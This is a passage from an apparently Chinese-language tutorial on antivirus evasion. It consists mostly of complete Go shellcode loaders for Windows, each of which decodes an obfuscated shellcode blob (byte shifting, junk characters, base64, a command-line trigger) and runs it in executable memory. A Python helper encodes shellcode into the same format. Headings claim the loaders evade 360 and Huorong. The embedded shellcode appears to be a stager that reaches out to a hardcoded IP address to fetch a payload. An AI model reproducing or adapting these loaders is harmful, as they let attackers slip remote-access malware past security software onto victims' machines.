0x42, 0xb9, 0xa4, 0x20, 0x01, 0x01, 0x4e, 0x32, 0xca, 0x42, 0x52, 0x42, 0x52, 0x6b, 0x04, 0x42, 0x52, 0x42, 0xbb, 0x58, 0x8a, 0xa0, 0xc7, 0xff, 0xd6, 0xec, 0x5a, 0x5c, 0x49, 0x8a, 0xc2, 0x49, 0x32, 0xd3, 0x4a, 0x8a, 0xd9, 0x4e, 0x32, 0xca, 0x53, 0x69, 0x01, 0x03, 0x41, 0x85, 0x53, 0x53, 0x42, 0xbb, 0xec, 0x56, 0x2f, 0x3c, 0xff, 0xd6, 0x49, 0x8a, 0xc7, 0x49, 0x84, 0xc4, 0x51, 0x6b, 0x0b, 0x60, 0x49, 0x8a, 0xf2, 0x49, 0x8a, 0xdb, 0x4a, 0xc8, 0xc1, 0xff, 0xff, 0xff, 0xff, 0x4e, 0x32, 0xca, 0x53, 0x53, 0x42, 0xbb, 0x2e, 0x07, 0x19, 0x7c, 0xff, 0xd6, 0x86, 0xc1, 0x10, 0x86, 0x9e, 0x02, 0x01, 0x01, 0x49, 0xff, 0xd0, 0x10, 0x85, 0x8d, 0x02, 0x01, 0x01, 0xec, 0xd4, 0xea, 0xe5, 0x02, 0x01, 0x01, 0xe9, 0xa3, 0xff, 0xff, 0xff, 0x30, 0x72, 0x44, 0x54, 0x57, 0x01, 0x36, 0x50, 0x22, 0x51, 0x26, 0x41, 0x42, 0x51, 0x5c, 0x35, 0x5d, 0x51, 0x5b, 0x59, 0x36, 0x35, 0x29, 0x51, 0x5f, 0x2a, 0x38, 0x44, 0x44, 0x2a, 0x38, 0x7e, 0x25, 0x46, 0x4a, 0x44, 0x42, 0x53, 0x2e, 0x54, 0x55, 0x42, 0x4f, 0x45, 0x42, 0x53, 0x45, 0x2e, 0x42, 0x4f, 0x55, 0x4a, 0x57, 0x4a, 0x53, 0x56, 0x54, 0x2e, 0x55, 0x46, 0x54, 0x55, 0x2e, 0x47, 0x4a, 0x4d, 0x46, 0x22, 0x25, 0x49, 0x2c, 0x49, 0x2b, 0x01, 0x36, 0x50, 0x22, 0x51, 0x26, 0x01, 0x56, 0x74, 0x66, 0x73, 0x2e, 0x42, 0x68, 0x66, 0x6f, 0x75, 0x3b, 0x21, 0x4e, 0x70, 0x7b, 0x6a, 0x6d, 0x6d, 0x62, 0x30, 0x35, 0x2f, 0x31, 0x21, 0x29, 0x64, 0x70, 0x6e, 0x71, 0x62, 0x75, 0x6a, 0x63, 0x6d, 0x66, 0x3c, 0x21, 0x4e, 0x54, 0x4a, 0x46, 0x21, 0x38, 0x2f, 0x31, 0x3c, 0x21, 0x58, 0x6a, 0x6f, 0x65, 0x70, 0x78, 0x74, 0x21, 0x4f, 0x55, 0x21, 0x36, 0x2f, 0x32, 0x2a, 0x0e, 0x0b, 0x01, 0x36, 0x50, 0x22, 0x51, 0x26, 0x41, 0x42, 0x51, 0x5c, 0x35, 0x5d, 0x51, 0x5b, 0x59, 0x36, 0x35, 0x29, 0x51, 0x5f, 0x2a, 0x38, 0x44, 0x44, 0x2a, 0x38, 0x7e, 0x25, 0x46, 0x4a, 0x44, 0x42, 0x53, 0x2e, 0x54, 0x55, 0x42, 0x4f, 0x45, 0x42, 0x53, 0x45, 0x2e, 0x42, 0x4f, 0x55, 0x4a, 0x57, 0x4a, 0x53, 0x56, 0x54, 0x2e, 0x55, 0x46, 0x54, 0x55, 0x2e, 0x47, 0x4a, 0x4d, 0x46, 0x22, 0x25, 0x49, 0x2c, 0x49, 0x2b, 0x01, 0x36, 0x50, 0x22, 0x51, 0x26, 0x41, 0x42, 0x51, 0x5c, 0x35, 0x5d, 0x51, 0x5b, 0x59, 0x36, 0x35, 0x29, 0x51, 0x5f, 0x2a, 0x38, 0x44, 0x44, 0x2a, 0x38, 0x7e, 0x25, 0x46, 0x4a, 0x44, 0x42, 0x53, 0x2e, 0x54, 0x55, 0x42, 0x4f, 0x45, 0x42, 0x53, 0x45, 0x2e, 0x42, 0x4f, 0x55, 0x4a, 0x57, 0x4a, 0x53, 0x56, 0x54, 0x2e, 0x55, 0x46, 0x54, 0x55, 0x2e, 0x47, 0x4a, 0x4d, 0x46, 0x22, 0x25, 0x49, 0x2c, 0x49, 0x2b, 0x01, 0x36, 0x50, 0x22, 0x51, 0x26, 0x41, 0x42, 0x51, 0x5c, 0x35, 0x5d, 0x51, 0x5b, 0x59, 0x36, 0x35, 0x29, 0x51, 0x5f, 0x2a, 0x38, 0x44, 0x44, 0x2a, 0x38, 0x7e, 0x25, 0x46, 0x4a, 0x44, 0x42, 0x53, 0x2e, 0x54, 0x55, 0x42, 0x4f, 0x45, 0x42, 0x53, 0x45, 0x2e, 0x42, 0x4f, 0x55, 0x4a, 0x57, 0x4a, 0x53, 0x56, 0x54, 0x2e, 0x55, 0x46, 0x54, 0x55, 0x2e, 0x47, 0x4a, 0x4d, 0x46, 0x22, 0x25, 0x49, 0x2c, 0x49, 0x2b, 0x01, 0x36, 0x50, 0x22, 0x51, 0x26, 0x41, 0x42, 0x51, 0x5c, 0x35, 0x5d, 0x51, 0x5b, 0x59, 0x36, 0x35, 0x29, 0x51, 0x5f, 0x2a, 0x38, 0x44, 0x44, 0x2a, 0x38, 0x7e, 0x25, 0x46, 0x4a, 0x44, 0x42, 0x53, 0x2e, 0x54, 0x01, 0x42, 0xbf, 0xf1, 0xb6, 0xa3, 0x57, 0xff, 0xd6, 0x49, 0x32, 0xca, 0xbb, 0x01, 0x01, 0x41, 0x01, 0x42, 0xb9, 0x01, 0x11, 0x01, 0x01, 0x42, 0xba, 0x41, 0x01, 0x01, 0x01, 0x42, 0xbb, 0x59, 0xa5, 0x54, 0xe6, 0xff, 0xd6, 0x49, 0x94, 0x54, 0x54, 0x49, 0x8a, 0xe8, 0x49, 0x8a, 0xf2, 0x49, 0x8a, 0xdb, 0x42, 0xb9, 0x01, 0x21, 0x01, 0x01, 0x4a, 0x8a, 0xfa, 0x42, 0xbb, 0x13, 0x97, 0x8a, 0xe3, 0xff, 0xd6, 0x49, 0x84, 0xc5, 0x21, 0x86, 0xc1, 0x75, 0xb7, 0x67, 0x8c, 0x08, 0x49, 0x02, 0xc4, 0x86, 0xc1, 0x76, 0xd8, 0x59, 0x59, 0x59, 0x49, 0x06, 0x01, 0x01, 0x01, 0x01, 0x51, 0xc4, 0xe9, 0xa0, 0xfe, 0xff, 0xff, 0x32, 0x3a, 0x33, 0x2f, 0x32, 0x37, 0x39, 0x2f, 0x37, 0x31, 0x2f, 0x32, 0x34, 0x37, 0x01, 0x01, 0x01, 0x01, 0x01}
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
if xor_shellcode[i] == 255 {
shellcode = append(shellcode, xor_shellcode[i])
} else {
shellcode = append(shellcode, xor_shellcode[i]-1) //^KEY_1^KEY_2) 递归shellcode-1还原
}
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println("error------------------------------")
fmt.Println(err.Error())
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) // 将shellcode内存复制到申请出来的内存空间中
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println(err.Error())
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
condition()
}
// uintptr一个足够大的无符号整型， 用来表示任意地址。
// MEM_COMMIT标志将在页面大小边界上提交页面,而使用MEM_RESERVE或MEM_RESERVE | MEM_COMMIT将在大于页面大小的边界上保留或保留提交页面。
## 免杀效果
### 火绒免杀
### 360免杀
### Defender静态免杀动态被杀
# 3 加减一+字符混淆+base64 之 360、火绒 64位 2M
## 免杀加载器代码
### 加载器代码
package main
import (
"encoding/base64"
"fmt"
"strconv"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码，应用程序可以读写该区域。
KEY_1 = 55
KEY_2 = 66
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") // kernel32.dll它控制着系统的内存管理、数据的输入输出操作和中断处理
ntdll = syscall.MustLoadDLL("ntdll.dll") // ntdll.dll描述了windows本地NTAPI的接口
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") // VirtualAlloc申请内存空间
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") // RtlCopyMemory非重叠内存区域的复制
)
func main() { // 生成的shellcode值+1并base64编码再在前面加2位混淆字符
xor_shellcode := "0lXHhmZFx4NDlceDg0XHhlNVx4ZjFceGU5XHhjOVx4MVx4MVx4MVx4NDJceDUyXHg0Mlx4NTFceDUzXHg1Mlx4NTdceDQ5XHgzMlx4ZDNceDY2XHg0OVx4OGNceDUzXHg2MVx4NDlceDhjXHg1M1x4MTlceDQ5XHg4Y1x4NTNceDIxXHg0OVx4OGNceDczXHg1MVx4NDlceDEwXHhiOFx4NGJceDRiXHg0ZVx4MzJceGNhXHg0OVx4MzJceGMxXHhhZFx4M2RceDYyXHg3ZFx4M1x4MmRceDIxXHg0Mlx4YzJceGNhXHhlXHg0Mlx4Mlx4YzJceGUzXHhlZVx4NTNceDQyXHg1Mlx4NDlceDhjXHg1M1x4MjFceDhjXHg0M1x4M2RceDQ5XHgyXHhkMVx4NjdceDgyXHg3OVx4MTlceGNceDNceDc2XHg3M1x4OGNceDgxXHg4OVx4MVx4MVx4MVx4NDlceDg2XHhjMVx4NzVceDY4XHg0OVx4Mlx4ZDFceDUxXHg4Y1x4NDlceDE5XHg0NVx4OGNceDQxXHgyMVx4NGFceDJceGQxXHhlNFx4NTdceDQ5XHgxMDBceGNhXHg0Mlx4OGNceDM1XHg4OVx4NDlceDJceGQ3XHg0ZVx4MzJceGNhXHg0OVx4MzJceGMxXHhhZFx4NDJceGMyXHhjYVx4ZVx4NDJceDJceGMyXHgzOVx4ZTFceDc2XHhmMlx4NGRceDRceDRkXHgyNVx4OVx4NDZceDNhXHhkMlx4NzZceGQ5XHg1OVx4NDVceDhjXHg0MVx4MjVceDRhXHgyXHhkMVx4NjdceDQyXHg4Y1x4ZFx4NDlceDQ1XHg4Y1x4NDFceDFkXHg0YVx4Mlx4ZDFceDQyXHg4Y1x4NVx4ODlceDQ5XHgyXHhkMVx4NDJceDU5XHg0Mlx4NTlceDVmXHg1YVx4NWJceDQyXHg1OVx4NDJceDVhXHg0Mlx4NWJceDQ5XHg4NFx4ZWRceDIxXHg0Mlx4NTNceDEwMFx4ZTFceDU5XHg0Mlx4NWFceDViXHg0OVx4OGNceDEzXHhlYVx4NTBceDEwMFx4MTAwXHgxMDBceDVlXHg2Ylx4MVx4NGFceGJmXHg3OFx4NmFceDZmXHg2YVx4NmZceDY2XHg3NVx4MVx4NDJceDU3XHg0YVx4OGFceGU3XHg0ZFx4OGFceGYyXHg0Mlx4YmJceDRkXHg3OFx4MjdceDhceDEwMFx4ZDZceDQ5XHgzMlx4Y2FceDQ5XHgzMlx4ZDNceDRlXHgzMlx4YzFceDRlXHgzMlx4Y2FceDQyXHg1MVx4NDJceDUxXHg0Mlx4YmJceDNiXHg1N1x4N2FceGE4XHgxMDBceGQ2XHhlY1x4NzRceDViXHg0OVx4OGFceGMyXHg0Mlx4YjlceGE0XHgyMFx4MVx4MVx4NGVceDMyXHhjYVx4NDJceDUyXHg0Mlx4NTJceDZiXHg0XHg0Mlx4NTJceDQyXHhiYlx4NThceDhhXHhhMFx4YzdceDEwMFx4ZDZceGVjXHg1YVx4NWNceDQ5XHg4YVx4YzJceDQ5XHgzMlx4ZDNceDRhXHg4YVx4ZDlceDRlXHgzMlx4Y2FceDUzXHg2OVx4MVx4M1x4NDFceDg1XHg1M1x4NTNceDQyXHhiYlx4ZWNceDU2XHgyZlx4M2NceDEwMFx4ZDZceDQ5XHg4YVx4YzdceDQ5XHg4NFx4YzRceDUxXHg2Ylx4Ylx4NjBceDQ5XHg4YVx4ZjJceDQ5XHg4YVx4ZGJceDRhXHhjOFx4YzFceDEwMFx4MTAwXHgxMDBceDEwMFx4NGVceDMyXHhjYVx4NTNceDUzXHg0Mlx4YmJceDJlXHg3XHgxOVx4N2NceDEwMFx4ZDZceDg2XHhjMVx4MTBceDg2XHg5ZVx4Mlx4MVx4MVx4NDlceDEwMFx4ZDBceDEwXHg4NVx4OGRceDJceDFceDFceGVjXHhkNFx4ZWFceGU1XHgyXHgxXHgxXHhlOVx4YTNceDEwMFx4MTAwXHgxMDBceDMwXHg1Ylx4NmVceDRhXHg0ZVx4MVx4MzZceDUwXHgyMlx4NTFceDI2XHg0MVx4NDJceDUxXHg1Y1x4MzVceDVkXHg1MVx4NWJceDU5XHgzNlx4MzVceDI5XHg1MVx4NWZceDJhXHgzOFx4NDRceDQ0XHgyYVx4MzhceDdlXHgyNVx4NDZceDRhXHg0NFx4NDJceDUzXHgyZVx4NTRceDU1XHg0Mlx4NGZceDQ1XHg0Mlx4NTNceDQ1XHgyZVx4NDJceDRmXHg1NVx4NGFceDU3XHg0YVx4NTNceDU2XHg1NFx4MmVceDU1XHg0Nlx4NTRceDU1XHgyZVx4NDdceDRhXHg0ZFx4NDZceDIyXHgyNVx4NDlceDJjXHg0OVx4MmJceDFceDM2XHg1MFx4MjJceDUxXHgyNlx4MVx4NTZceDc0XHg2Nlx4NzNceDJlXHg0Mlx4NjhceDY2XHg2Zlx4NzVceDNiXHgyMVx4NGVceDcwXHg3Ylx4NmFceDZkXHg2ZFx4NjJceDMwXHgzNVx4MmZceDMxXHgyMVx4MjlceDY0XHg3MFx4NmVceDcxXHg2Mlx4NzVceDZhXHg2M1x4NmRceDY2XHgzY1x4MjFceDRlXHg1NFx4NGFceDQ2XHgyMVx4MzlceDJmXHgzMVx4M2NceDIxXHg1OFx4NmFceDZmXHg2NVx4NzBceDc4XHg3NFx4MjFceDRmXHg1NVx4MjFceDM2XHgyZlx4MzJceDNjXHgyMVx4NTVceDczXHg2YVx4NjVceDY2XHg2Zlx4NzVceDMwXHgzNVx4MmZceDMxXHgzY1x4MjFceDQzXHg1NVx4NTNceDU0XHgzMlx4MzNceDM2XHgzNlx4MzNceDM3XHgyYVx4ZVx4Ylx4MVx4MzZceDUwXHgyMlx4NTFceDI2XHg0MVx4NDJceDUxXHg1Y1x4MzVceDVkXHg1MVx4NWJceDU5XHgzNlx4MzVceDI5XHg1MVx4NWZceDJhXHgzOFx4NDRceDQ0XHgyYVx4MzhceDdlXHgyNVx4NDZceDRhXHg0NFx4NDJceDUzXHgyZVx4NTRceDU1XHg0Mlx4NGZceDQ1XHg0Mlx4NTNceDQ1XHgyZVx4NDJceDRmXHg1NVx4NGFceDU3XHg0YVx4NTNceDU2XHg1NFx4MmVceDU1XHg0Nlx4NTRceDU1XHgyZVx4NDdceDRhXHg0ZFx4NDZceDIyXHgyNVx4NDlceDJjXHg0OVx4MmJceDFceDM2XHg1MFx4MjJceDUxXHgyNlx4NDFceDQyXHg1MVx4NWNceDM1XHg1ZFx4NTFceDViXHg1OVx4MzZceDM1XHgyOVx4NTFceDVmXHgyYVx4MzhceDQ0XHg0NFx4MmFceDM4XHg3ZVx4MjVceDQ2XHg0YVx4NDRceDQyXHg1M1x4MmVceDU0XHg1NVx4NDJceDRmXHg0NVx4NDJceDUzXHg0NVx4MmVceDQyXHg0Zlx4NTVceDRhXHg1N1x4NGFceDUzXHg1Nlx4NTRceDJlXHg1NVx4NDZceDU0XHg1NVx4MmVceDQ3XHg0YVx4NGRceDQ2XHgyMlx4MjVceDQ5XHgyY1x4NDlceDJiXHgxXHgzNlx4NTBceDIyXHg1MVx4MjZceDQxXHg0Mlx4NTFceDVjXHgzNVx4NWRceDUxXHg1Ylx4NTlceDM2XHgzNVx4MjlceDUxXHg1Zlx4MmFceDM4XHg0NFx4NDRceDJhXHgzOFx4N2VceDI1XHg0Nlx4NGFceDQ0XHg0Mlx4NTNceDJlXHg1NFx4NTVceDQyXHg0Zlx4NDVceDQyXHg1M1x4NDVceDJlXHg0Mlx4NGZceDU1XHg0YVx4NTdceDRhXHg1M1x4NTZceDU0XHgyZVx4NTVceDQ2XHg1NFx4NTVceDJlXHg0N1x4NGFceDRkXHg0Nlx4MjJceDI1XHg0OVx4MmNceDQ5XHgyYlx4MVx4MzZceDUwXHgyMlx4NTFceDI2XHg0MVx4NDJceDUxXHg1Y1x4MVx4NDJceGJmXHhmMVx4YjZceGEzXHg1N1x4MTAwXHhkNlx4NDlceDMyXHhjYVx4YmJceDFceDFceDQxXHgxXHg0Mlx4YjlceDFceDExXHgxXHgxXHg0Mlx4YmFceDQxXHgxXHgxXHgxXHg0Mlx4YmJceDU5XHhhNVx4NTRceGU2XHgxMDBceGQ2XHg0OVx4OTRceDU0XHg1NFx4NDlceDhhXHhlOFx4NDlceDhhXHhmMlx4NDlceDhhXHhkYlx4NDJceGI5XHgxXHgyMVx4MVx4MVx4NGFceDhhXHhmYVx4NDJceGJiXHgxM1x4OTdceDhhXHhlM1x4MTAwXHhkNlx4NDlceDg0XHhjNVx4MjFceDg2XHhjMVx4NzVceGI3XHg2N1x4OGNceDhceDQ5XHgyXHhjNFx4ODZceGMxXHg3Nlx4ZDhceDU5XHg1OVx4NTlceDQ5XHg2XHgxXHgxXHgxXHgxXHg1MVx4YzRceGU5XHhhMFx4ZmVceDEwMFx4MTAwXHgzMlx4M2FceDMzXHgyZlx4MzJceDM3XHgzOVx4MmZceDM3XHgzMVx4MmZceDMyXHgzNFx4MzdceDFceDFceDFceDFceDE="
var payload_byte []byte
shellcode_byte, _ := base64.StdEncoding.DecodeString(xor_shellcode[2:]) // 除混淆字符外base64解码
payload := string(shellcode_byte) // []byte切片转string
payloadb := strings.Split(payload, "\\x")[1:] // 以\x将字符串分割成切片
for i := 0; i < len(payloadb); i++ { // 遍历转16进制
tmp_byte, err1 := strconv.ParseInt(payloadb[i], 16, 32) // 取切片中的字符转16进制
if err1 != nil {
fmt.Println(err1.Error())
}
payload_byte = append(payload_byte, uint8(tmp_byte)) // 加到payload_byte切片中
}
var shellcode []byte
for i := 0; i < len(payload_byte); i++ {
if payload_byte[i] == 255 {
shellcode = append(shellcode, payload_byte[i])
} else {
shellcode = append(shellcode, payload_byte[i]-1) // 递归shellcode-1还原
}
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println("error------------------------------")
fmt.Println(err.Error())
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) // 将shellcode内存复制到申请出来的内存空间中
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println(err.Error())
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
// uintptr一个足够大的无符号整型， 用来表示任意地址。
// MEM_COMMIT标志将在页面大小边界上提交页面,而使用MEM_RESERVE或MEM_RESERVE | MEM_COMMIT将在大于页面大小的边界上保留或保留提交页面。
### 辅助代码（特定格式shellcode生成）
shellcode+1后base64编码前面再加两个混淆字符
import base64,random
a = b" 原shellcode内容 "
payload = []
rd = ''
for i in range(len(a)) :
payload.append(hex(int(a[i])+1))
shellcode = ''.join(payload).replace('0x','\\x')
shellcode64 = base64.b64encode(shellcode.encode()).decode()
for i in range(2):
rd = rd + (random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'))
print(rd + shellcode64)
## 免杀效果
### 火绒免杀
### 360免杀
### Defender静态免杀动态被杀
# 4 加减一+字符混淆+base64+条件执行
## 免杀加载器代码
package main
import (
"encoding/base64"
"fmt"
"os"
"strconv"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码，应用程序可以读写该区域。
KEY_1 = 55
KEY_2 = 66
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") // kernel32.dll它控制着系统的内存管理、数据的输入输出操作和中断处理
ntdll = syscall.MustLoadDLL("ntdll.dll") // ntdll.dll描述了windows本地NTAPI的接口
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") // VirtualAlloc申请内存空间
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") // RtlCopyMemory非重叠内存区域的复制
)
func condition() {
var a string
for i := 1; i < len(os.Args); i++ {
a += os.Args[i]
}
b := "qaxnb"
if a == b {
build()
}
}
func build() {
xor_shellcode := "0lXHhmZFx4NDlceDg0XHhlNVx4ZjFceGU5XHhjOVx4MVx4MVx4MVx4NDJceDUyXHg0Mlx4NTFceDUzXHg1Mlx4NTdceDQ5XHgzMlx4ZDNceDY2XHg0OVx4OGNceDUzXHg2MVx4NDlceDhjXHg1M1x4MTlceDQ5XHg4Y1x4NTNceDIxXHg0OVx4OGNceDczXHg1MVx4NDlceDEwXHhiOFx4NGJceDRiXHg0ZVx4MzJceGNhXHg0OVx4MzJceGMxXHhhZFx4M2RceDYyXHg3ZFx4M1x4MmRceDIxXHg0Mlx4YzJceGNhXHhlXHg0Mlx4Mlx4YzJceGUzXHhlZVx4NTNceDQyXHg1Mlx4NDlceDhjXHg1M1x4MjFceDhjXHg0M1x4M2RceDQ5XHgyXHhkMVx4NjdceDgyXHg3OVx4MTlceGNceDNceDc2XHg3M1x4OGNceDgxXHg4OVx4MVx4MVx4MVx4NDlceDg2XHhjMVx4NzVceDY4XHg0OVx4Mlx4ZDFceDUxXHg4Y1x4NDlceDE5XHg0NVx4OGNceDQxXHgyMVx4NGFceDJceGQxXHhlNFx4NTdceDQ5XHgxMDBceGNhXHg0Mlx4OGNceDM1XHg4OVx4NDlceDJceGQ3XHg0ZVx4MzJceGNhXHg0OVx4MzJceGMxXHhhZFx4NDJceGMyXHhjYVx4ZVx4NDJceDJceGMyXHgzOVx4ZTFceDc2XHhmMlx4NGRceDRceDRkXHgyNVx4OVx4NDZceDNhXHhkMlx4NzZceGQ5XHg1OVx4NDVceDhjXHg0MVx4MjVceDRhXHgyXHhkMVx4NjdceDQyXHg4Y1x4ZFx4NDlceDQ1XHg4Y1x4NDFceDFkXHg0YVx4Mlx4ZDFceDQyXHg4Y1x4NVx4ODlceDQ5XHgyXHhkMVx4NDJceDU5XHg0Mlx4NTlceDVmXHg1YVx4NWJceDQyXHg1OVx4NDJceDVhXHg0Mlx4NWJceDQ5XHg4NFx4ZWRceDIxXHg0Mlx4NTNceDEwMFx4ZTFceDU5XHg0Mlx4NWFceDViXHg0OVx4OGNceDEzXHhlYVx4NTBceDEwMFx4MTAwXHgxMDBceDVlXHg2Ylx4MVx4NGFceGJmXHg3OFx4NmFceDZmXHg2YVx4NmZceDY2XHg3NVx4MVx4NDJceDU3XHg0YVx4OGFceGU3XHg0ZFx4OGFceGYyXHg0Mlx4YmJceDRkXHg3OFx4MjdceDhceDEwMFx4ZDZceDQ5XHgzMlx4Y2FceDQ5XHgzMlx4ZDNceDRlXHgzMlx4YzFceDRlXHgzMlx4Y2FceDQyXHg1MVx4NDJceDUxXHg0Mlx4YmJceDNiXHg1N1x4N2FceGE4XHgxMDBceGQ2XHhlY1x4NzRceDViXHg0OVx4OGFceGMyXHg0Mlx4YjlceGE0XHgyMFx4MVx4MVx4NGVceDMyXHhjYVx4NDJceDUyXHg0Mlx4NTJceDZiXHg0XHg0Mlx4NTJceDQyXHhiYlx4NThceDhhXHhhMFx4YzdceDEwMFx4ZDZceGVjXHg1YVx4NWNceDQ5XHg4YVx4YzJceDQ5XHgzMlx4ZDNceDRhXHg4YVx4ZDlceDRlXHgzMlx4Y2FceDUzXHg2OVx4MVx4M1x4NDFceDg1XHg1M1x4NTNceDQyXHhiYlx4ZWNceDU2XHgyZlx4M2NceDEwMFx4ZDZceDQ5XHg4YVx4YzdceDQ5XHg4NFx4YzRceDUxXHg2Ylx4Ylx4NjBceDQ5XHg4YVx4ZjJceDQ5XHg4YVx4ZGJceDRhXHhjOFx4YzFceDEwMFx4MTAwXHgxMDBceDEwMFx4NGVceDMyXHhjYVx4NTNceDUzXHg0Mlx4YmJceDJlXHg3XHgxOVx4N2NceDEwMFx4ZDZceDg2XHhjMVx4MTBceDg2XHg5ZVx4Mlx4MVx4MVx4NDlceDEwMFx4ZDBceDEwXHg4NVx4OGRceDJceDFceDFceGVjXHhkNFx4ZWFceGU1XHgyXHgxXHgxXHhlOVx4YTNceDEwMFx4MTAwXHgxMDBceDMwXHg1Ylx4NmVceDRhXHg0ZVx4MVx4MzZceDUwXHgyMlx4NTFceDI2XHg0MVx4NDJceDUxXHg1Y1x4MzVceDVkXHg1MVx4NWJceDU5XHgzNlx4MzVceDI5XHg1MVx4NWZceDJhXHgzOFx4NDRceDQ0XHgyYVx4MzhceDdlXHgyNVx4NDZceDRhXHg0NFx4NDJceDUzXHgyZVx4NTRceDU1XHg0Mlx4NGZceDQ1XHg0Mlx4NTNceDQ1XHgyZVx4NDJceDRmXHg1NVx4NGFceDU3XHg0YVx4NTNceDU2XHg1NFx4MmVceDU1XHg0Nlx4NTRceDU1XHgyZVx4NDdceDRhXHg0ZFx4NDZceDIyXHgyNVx4NDlceDJjXHg0OVx4MmJceDFceDM2XHg1MFx4MjJceDUxXHgyNlx4MVx4NTZceDc0XHg2Nlx4NzNceDJlXHg0Mlx4NjhceDY2XHg2Zlx4NzVceDNiXHgyMVx4NGVceDcwXHg3Ylx4NmFceDZkXHg2ZFx4NjJceDMwXHgzNVx4MmZceDMxXHgyMVx4MjlceDY0XHg3MFx4NmVceDcxXHg2Mlx4NzVceDZhXHg2M1x4NmRceDY2XHgzY1x4MjFceDRlXHg1NFx4NGFceDQ2XHgyMVx4MzlceDJmXHgzMVx4M2NceDIxXHg1OFx4NmFceDZmXHg2NVx4NzBceDc4XHg3NFx4MjFceDRmXHg1NVx4MjFceDM2XHgyZlx4MzJceDNjXHgyMVx4NTVceDczXHg2YVx4NjVceDY2XHg2Zlx4NzVceDMwXHgzNVx4MmZceDMxXHgzY1x4MjFceDQzXHg1NVx4NTNceDU0XHgzMlx4MzNceDM2XHgzNlx4MzNceDM3XHgyYVx4ZVx4Ylx4MVx4MzZceDUwXHgyMlx4NTFceDI2XHg0MVx4NDJceDUxXHg1Y1x4MzVceDVkXHg1MVx4NWJceDU5XHgzNlx4MzVceDI5XHg1MVx4NWZceDJhXHgzOFx4NDRceDQ0XHgyYVx4MzhceDdlXHgyNVx4NDZceDRhXHg0NFx4NDJceDUzXHgyZVx4NTRceDU1XHg0Mlx4NGZceDQ1XHg0Mlx4NTNceDQ1XHgyZVx4NDJceDRmXHg1NVx4NGFceDU3XHg0YVx4NTNceDU2XHg1NFx4MmVceDU1XHg0Nlx4NTRceDU1XHgyZVx4NDdceDRhXHg0ZFx4NDZceDIyXHgyNVx4NDlceDJjXHg0OVx4MmJceDFceDM2XHg1MFx4MjJceDUxXHgyNlx4NDFceDQyXHg1MVx4NWNceDM1XHg1ZFx4NTFceDViXHg1OVx4MzZceDM1XHgyOVx4NTFceDVmXHgyYVx4MzhceDQ0XHg0NFx4MmFceDM4XHg3ZVx4MjVceDQ2XHg0YVx4NDRceDQyXHg1M1x4MmVceDU0XHg1NVx4NDJceDRmXHg0NVx4NDJceDUzXHg0NVx4MmVceDQyXHg0Zlx4NTVceDRhXHg1N1x4NGFceDUzXHg1Nlx4NTRceDJlXHg1NVx4NDZceDU0XHg1NVx4MmVceDQ3XHg0YVx4NGRceDQ2XHgyMlx4MjVceDQ5XHgyY1x4NDlceDJiXHgxXHgzNlx4NTBceDIyXHg1MVx4MjZceDQxXHg0Mlx4NTFceDVjXHgzNVx4NWRceDUxXHg1Ylx4NTlceDM2XHgzNVx4MjlceDUxXHg1Zlx4MmFceDM4XHg0NFx4NDRceDJhXHgzOFx4N2VceDI1XHg0Nlx4NGFceDQ0XHg0Mlx4NTNceDJlXHg1NFx4NTVceDQyXHg0Zlx4NDVceDQyXHg1M1x4NDVceDJlXHg0Mlx4NGZceDU1XHg0YVx4NTdceDRhXHg1M1x4NTZceDU0XHgyZVx4NTVceDQ2XHg1NFx4NTVceDJlXHg0N1x4NGFceDRkXHg0Nlx4MjJceDI1XHg0OVx4MmNceDQ5XHgyYlx4MVx4MzZceDUwXHgyMlx4NTFceDI2XHg0MVx4NDJceDUxXHg1Y1x4MVx4NDJceGJmXHhmMVx4YjZceGEzXHg1N1x4MTAwXHhkNlx4NDlceDMyXHhjYVx4YmJceDFceDFceDQxXHgxXHg0Mlx4YjlceDFceDExXHgxXHgxXHg0Mlx4YmFceDQxXHgxXHgxXHgxXHg0Mlx4YmJceDU5XHhhNVx4NTRceGU2XHgxMDBceGQ2XHg0OVx4OTRceDU0XHg1NFx4NDlceDhhXHhlOFx4NDlceDhhXHhmMlx4NDlceDhhXHhkYlx4NDJceGI5XHgxXHgyMVx4MVx4MVx4NGFceDhhXHhmYVx4NDJceGJiXHgxM1x4OTdceDhhXHhlM1x4MTAwXHhkNlx4NDlceDg0XHhjNVx4MjFceDg2XHhjMVx4NzVceGI3XHg2N1x4OGNceDhceDQ5XHgyXHhjNFx4ODZceGMxXHg3Nlx4ZDhceDU5XHg1OVx4NTlceDQ5XHg2XHgxXHgxXHgxXHgxXHg1MVx4YzRceGU5XHhhMFx4ZmVceDEwMFx4MTAwXHgzMlx4M2FceDMzXHgyZlx4MzJceDM3XHgzOVx4MmZceDM3XHgzMVx4MmZceDMyXHgzNFx4MzdceDFceDFceDFceDFceDE="
var payload_byte []byte
